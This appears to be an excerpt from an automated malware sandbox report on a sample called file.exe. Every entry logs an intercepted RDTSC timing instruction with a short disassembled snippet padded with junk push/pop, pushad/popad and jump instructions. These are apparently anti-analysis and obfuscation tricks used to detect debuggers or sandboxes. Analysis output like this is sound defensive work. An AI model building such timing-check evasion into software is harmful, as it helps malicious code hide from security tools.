Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADA1CE second address: ADA1D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADA656 second address: ADA65C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCD01 second address: ADCD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCD06 second address: ADCD14 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 jbe 00007FDA10EF189Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCD14 second address: ADCD42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FDA1074683Ch 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FDA10746814h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007FDA10746806h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCD42 second address: ADCD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCD46 second address: ADCD4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC97A second address: ADC98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jo 00007FDA10EF1896h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC98A second address: ADC9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDA1074680Bh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC9A2 second address: ADC9A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0C9F second address: AE0CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0CA3 second address: AE0CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDA10EF1896h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0CAF second address: AE0CC5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDA1074680Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 je 00007FDA10746806h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1098 second address: AE109D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE109D second address: AE10A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE11B2 second address: AE11B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE11B7 second address: AE11BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE11BD second address: AE11D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF18A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE11D6 second address: AE11DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE132F second address: AE1335 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1335 second address: AE1354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jo 00007FDA10746806h 0x00000010 pop edx 0x00000011 jno 00007FDA1074680Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1354 second address: AE135E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FDA10EF1896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE51B6 second address: AE51D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FDA10746817h 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE96A6 second address: AE96AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9829 second address: AE982D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE982D second address: AE983D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FDA10EF1896h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE99A0 second address: AE99A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE99A6 second address: AE99DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDA10EF189Eh 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FDA10EF189Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDA10EF18A2h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9B73 second address: AE9B86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDA1074680Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9B86 second address: AE9B8C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9B8C second address: AE9B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnc 00007FDA10746806h 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9B9E second address: AE9BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9CFE second address: AE9D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9D04 second address: AE9D37 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FDA10EF189Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDA10EF18A7h 0x00000013 jno 00007FDA10EF1896h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9EA7 second address: AE9EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9EAF second address: AE9EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94326 second address: A9432C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9432C second address: A9434C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA042 second address: AEA046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA046 second address: AEA04C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA04C second address: AEA051 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA051 second address: AEA05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAB01 second address: AEAB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDA10746806h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAB0C second address: AEAB38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FDA10EF1896h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FDA10EF189Bh 0x00000010 jmp 00007FDA10EF18A2h 0x00000015 popad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF207A second address: AF209D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 jmp 00007FDA1074680Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 js 00007FDA1074680Eh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0185 second address: AF018B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0464 second address: AF0479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jng 00007FDA10746806h 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007FDA10746806h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0479 second address: AF047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF047F second address: AF0485 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0485 second address: AF049A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDA10EF189Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0766 second address: AF0799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDA10746806h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d jbe 00007FDA1074680Ah 0x00000013 pushad 0x00000014 jmp 00007FDA10746815h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0D37 second address: AF0D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0D3B second address: AF0D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0D3F second address: AF0D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF12E7 second address: AF1328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jl 00007FDA10746806h 0x00000012 pop eax 0x00000013 jmp 00007FDA10746812h 0x00000018 push eax 0x00000019 push edx 0x0000001a jbe 00007FDA10746806h 0x00000020 jmp 00007FDA10746814h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1328 second address: AF1345 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A0h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1345 second address: AF135D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA10746814h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1600 second address: AF1619 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1619 second address: AF161D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF161D second address: AF163E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1B9E second address: AF1BA3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A465C2 second address: A465D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a jo 00007FDA10EF1896h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF743F second address: AF7443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7443 second address: AF745D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF745D second address: AF746F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA1074680Bh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA311 second address: AFA34B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A2h 0x00000007 jnl 00007FDA10EF1896h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FDA10EF18A9h 0x00000014 popad 0x00000015 pushad 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA4C8 second address: AFA4D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAA0D second address: AFAA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 js 00007FDA10EF1898h 0x0000000c push esi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFACC3 second address: AFACDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b js 00007FDA1074680Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 je 00007FDA10746806h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFACDC second address: AFACE1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B029B9 second address: B029BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00C20 second address: B00C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00C24 second address: B00C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00C2C second address: B00C6F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDA10EF18B3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDA10EF189Fh 0x00000011 jmp 00007FDA10EF189Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0125C second address: B01260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01260 second address: B0126D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA10EF1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01924 second address: B01931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FDA10746806h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01931 second address: B01967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FDA10EF1898h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007FDA10EF18AAh 0x00000017 jmp 00007FDA10EF18A4h 0x0000001c jmp 00007FDA10EF189Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01967 second address: B0197D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FDA10746806h 0x00000009 jne 00007FDA10746806h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0197D second address: B01981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B007DD second address: B007F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FDA10746806h 0x0000000c jnc 00007FDA10746806h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B007F4 second address: B00800 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDA10EF1896h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05E56 second address: B05E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FDA10746806h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05E69 second address: B05E73 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDA10EF1896h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05E73 second address: B05E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDA1074680Dh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05E8C second address: B05EBD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDA10EF18A8h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f push esi 0x00000010 jmp 00007FDA10EF189Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CA17 second address: B0CA27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CA27 second address: B0CA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDA10EF1896h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CA35 second address: B0CA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CA3A second address: B0CA52 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDA10EF189Ch 0x00000008 ja 00007FDA10EF1896h 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FDA10EF1896h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CBB8 second address: B0CBCC instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDA10746806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FDA10746806h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CBCC second address: B0CBDC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDA10EF1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CBDC second address: B0CBE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CBE0 second address: B0CBEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FDA10EF189Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CBEE second address: B0CBF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CBF8 second address: B0CC06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF189Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
